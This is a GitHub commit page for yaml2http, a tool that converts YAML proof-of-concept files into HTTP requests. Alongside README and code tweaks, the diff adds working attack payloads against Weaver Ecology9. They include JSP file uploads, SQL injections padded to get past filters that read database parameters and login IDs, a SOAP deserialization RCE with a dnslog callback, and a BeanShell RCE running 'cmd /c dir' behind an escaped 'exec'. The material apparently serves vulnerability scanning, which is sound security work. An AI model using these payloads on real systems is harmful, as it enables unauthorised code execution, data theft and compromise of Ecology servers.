Skip to content

Commit

Permalink
Merge pull request #4 from trganda/develop
Browse files Browse the repository at this point in the history
Develop
  • Loading branch information
trganda authored Sep 6, 2022
2 parents ab59ec9 + 5e5277a commit 612b3b0
Show file tree
Hide file tree
Showing 13 changed files with 166 additions and 15 deletions.
28 changes: 28 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,17 @@ Content-Length: 87
bsh.script=print%2842503*40455%29&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
```

帮助信息

```bash
java -jar yaml2http-1.0.jar -h
usage: yaml2http
-b,--bytes <arg> Path to file need to be convert, convert the file
content as bytes value with b"" format.
-h,--help Help info.
-p,--path <arg> Path to poc file.
```

### Burp Suite Extension

支持在`Burp Suite`中以插件形式进行使用,这种方式可以避免不可打印字符的问题。
Expand All @@ -44,6 +55,23 @@ bsh.script=print%2842503*40455%29&bsh.servlet.captureOutErr=true&bsh.servlet.out

![](images/20220823113627.png)

## Build

克隆源码到本地

```bash
git clone https://github.com/trganda/yaml2http
```

并执行

```bash
cd yaml2http
mvn clean compile assembly:single
```

之后可在`target`目录下查看编译后的`jar`包文件

## Todo

* [X] 完成`yaml`解析,读取已支持字段值
Expand Down
6 changes: 5 additions & 1 deletion src/main/java/com/github/trganda/App.java
Original file line number Diff line number Diff line change
Expand Up @@ -16,8 +16,9 @@ public class App {

public static void main(String[] args) throws IOException, ParseException {
Options options = new Options();
options.addOption("h", "help", false, "Help info.");
options.addOption("p", "path", true, "Path to poc file.");
options.addOption("b", "bytes", true, "Path ot file need convert.");
options.addOption("b", "bytes", true, "Path to file need to be convert, convert the file content as bytes value with b\"\" format.");

CommandLineParser parser = new DefaultParser();
CommandLine cmd = parser.parse(options, args);
Expand All @@ -40,6 +41,9 @@ public static void main(String[] args) throws IOException, ParseException {
is.read(buf);

System.out.println(Util.toBytesValue(buf));
} else {
HelpFormatter formatter = new HelpFormatter();
formatter.printHelp("yaml2http", options);
}

}
Expand Down
4 changes: 4 additions & 0 deletions src/main/java/com/github/trganda/functions/Functions.java
Original file line number Diff line number Diff line change
Expand Up @@ -79,4 +79,8 @@ public static byte[] desdecode(byte[] bytes, String keyStr) throws InvalidKeyExc
return cipher.doFinal(bytes);
}

public static String substr(String input, int start, int length) {
return input.substring(start, start + length);
}

}
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@ protected Method[] getMethods(Class<?> type) {
Functions.class.getDeclaredMethod("urlencode", byte[].class),
Functions.class.getDeclaredMethod("urldecode", String.class),
Functions.class.getDeclaredMethod("urldecode", byte[].class),
Functions.class.getDeclaredMethod("substr", String.class, int.class, int.class)
};
}
catch (NoSuchMethodException ex) {
Expand Down
2 changes: 1 addition & 1 deletion src/main/java/com/github/trganda/parser/HttpRequest.java
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@
*/
public final class HttpRequest {

public static Map<String, byte[]> defaultHeader =
public final static Map<String, byte[]> defaultHeader =
Stream.of(
new AbstractMap.SimpleEntry<>("Host", "localhost".getBytes(StandardCharsets.UTF_8)),
new AbstractMap.SimpleEntry<>("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.47".getBytes(StandardCharsets.UTF_8)),
Expand Down
5 changes: 4 additions & 1 deletion src/main/java/com/github/trganda/parser/PocsParser.java
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
package com.github.trganda.parser;

import com.fasterxml.jackson.databind.DeserializationFeature;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.module.SimpleModule;
import com.fasterxml.jackson.dataformat.yaml.YAMLFactory;
Expand Down Expand Up @@ -35,6 +36,8 @@ private void init() {

mapper.registerModule(simpleModule);
mapper.findAndRegisterModules();
// skip unknown field
mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);
}

public Pocs readPocs() throws IOException {
Expand All @@ -53,7 +56,7 @@ public List<HttpRequest> toHttpRequests(Pocs pocs) {

for (Map.Entry<String, Rules.RuleItem> ruleItemEntry : pocs.rules.rules.entrySet()) {
Rules.Request req = ruleItemEntry.getValue().request;
Map<String, byte[]> headers = defaultHeader;
Map<String, byte[]> headers = new LinkedHashMap<>(defaultHeader);

/*
* For each set variable value
Expand Down
20 changes: 14 additions & 6 deletions src/test/java/com/github/trganda/parser/PocsParserTest.java
Original file line number Diff line number Diff line change
Expand Up @@ -11,14 +11,22 @@
public class PocsParserTest {
@Test
public void toBytesTest() throws IOException {
PocsParser parser = new PocsParser(new File(
"yamlpocs/poc-yaml-ecology9-getLabelByModule-sql-injection.yaml"));
File dirs = new File("yamlpocs");
if (!dirs.exists() || !dirs.isDirectory()) {
throw new IllegalArgumentException();
}

for (File file : dirs.listFiles()) {
if (file.isFile() && file.getName().substring(file.getName().lastIndexOf(".") + 1).equals("yaml")) {
PocsParser parser = new PocsParser(file);

Pocs pocs = parser.readPocs();
List<HttpRequest> httpRequestList = parser.toHttpRequests(pocs);
Pocs pocs = parser.readPocs();
List<HttpRequest> httpRequestList = parser.toHttpRequests(pocs);

for (HttpRequest httpRequest : httpRequestList) {
System.out.println(httpRequest.toString());
for (HttpRequest httpRequest : httpRequestList) {
System.out.println(httpRequest.toString());
}
}
}
}
}
25 changes: 25 additions & 0 deletions yamlpocs/poc-yaml-ecology9-ExcelUploadServlet-file-upload.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
name: poc-yaml-ecology9-ExcelUploadServlet-file-upload
transport: http
set:
filename: b"test.jsp"
r1: b"\x0D"
rules:
r0:
request:
method: POST
path: /weaver/weaver.workflow.exceldesign.ExcelUploadServlet?method=uploadFile&savefile={{filename}}
body: |
------WebKitFormBoundaryAe9cgNtm0PTABns7{{r1}}
Content-Disposition: form-data; name="filename"{{r1}}
Content-Type: image/jpeg{{r1}}
{{r1}}
helloword{{r1}}
------WebKitFormBoundaryAe9cgNtm0PTABns7--{{r1}}
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAe9cgNtm0PTABns7
expression: response.status == 200
expression: r0()
detail:
author: trganda
links:
- https://www.weaver.com.cn/cs/securityDownload.asp
25 changes: 25 additions & 0 deletions yamlpocs/poc-yaml-ecology9-KtreeUploadAction-file-upload.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
name: poc-yaml-ecology9-KtreeUploadAction-file-upload
transport: http
set:
filename: b"test.jsp"
r1: b"\x0D"
rules:
r0:
request:
method: POST
path: /weaver/com.weaver.formmodel.apps.ktree.servlet.KtreeUploadAction/.css?action=image
body: |
------WebKitFormBoundaryAe9cgNtm0PTABns7{{r1}}
Content-Disposition: form-data; name="filename"; filename="${{filename}}"{{r1}}
Content-Type: image/jpeg{{r1}}
{{r1}}
helloword{{r1}}
------WebKitFormBoundaryAe9cgNtm0PTABns7--{{r1}}
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAe9cgNtm0PTABns7
expression: response.status == 200
expression: r0()
detail:
author: trganda
links:
- https://www.weaver.com.cn/cs/securityDownload.asp
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
name: poc-yaml-ecology9-WorkflowCenterTreeData-sql-injection
transport: http
set:
prefix: b"11111111111)))"
padding: b"%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d"
suffix: b"union select NULL,value from v$parameter order by (((1"
rules:
r0:
request:
method: POST
path: /mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333
body: formids={{prefix}}{{padding}}{{suffix}}
headers:
Content-Type: application/x-www-form-urlencoded
expression: response.status == 200
expression: r0()
detail:
author: trganda
links:
- https://www.weaver.com.cn/cs/securityDownload.asp
34 changes: 34 additions & 0 deletions yamlpocs/poc-yaml-ecology9-WrokflowServiceXml-rce.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
name: poc-yaml-ecology9-WrokflowServiceXml-rce
transport: http
set:
url: b"http://hb72qj.dnslog.cn"
rules:
r0:
request:
method: POST
path: /services/WorkflowServiceXml
body: |
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<doCreateWorkflowRequest xmlns="webservices.services.weaver.com.cn">
<string>
&lt;map&gt;
&lt;entry&gt;
&lt;url&gt;{{url}}&lt;/url&gt;
&lt;string&gt;{{url}}&lt;/string&gt;
&lt;/entry&gt;
&lt;/map&gt;
</string>
<in1>1000</in1>
</doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>
headers:
Content-Type: text/xml; charset=UTF-8
expression: response.status == 200
expression: r0()
detail:
author: trganda
links:
- https://www.weaver.com.cn/cs/securityDownload.asp
7 changes: 3 additions & 4 deletions yamlpocs/poc-yaml-ecology9-beanshell-rce.yaml
Original file line number Diff line number Diff line change
@@ -1,17 +1,16 @@
name: ecology9-beanshell-rce
transport: http
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
r1: b"\x22cmd /c dir\x22"
rules:
r0:
request:
method: POST
path: /weaver/bsh.servlet.BshServlet
body: bsh.script=print%28{{r1}}*{{r2}}%29&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
body: bsh.script=ex\u0065c({{r1}});&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
headers:
Content-Type: application/x-www-form-urlencoded
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
expression: response.status == 200 && response.body.bcontains("<DIR>"))
expression: r0()
detail:
author: trganda
Expand Down
4 changes: 2 additions & 2 deletions yamlpocs/poc-yaml-ecology9-validate-sql-injection.yaml
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
name: ecology9-validate-sql-injection
transport: http
set:
r1: 1%20and%20ascii((select%20substring(loginid,1,1)from%20HrmResourceManager))=115
r2: %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
r1: b"1%20and%20ascii((select%20substring(loginid,1,1)from%20HrmResourceManager))=115"
r2: b"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
rules:
r0:
request:
Expand Down

0 comments on commit 612b3b0

Please sign in to comment.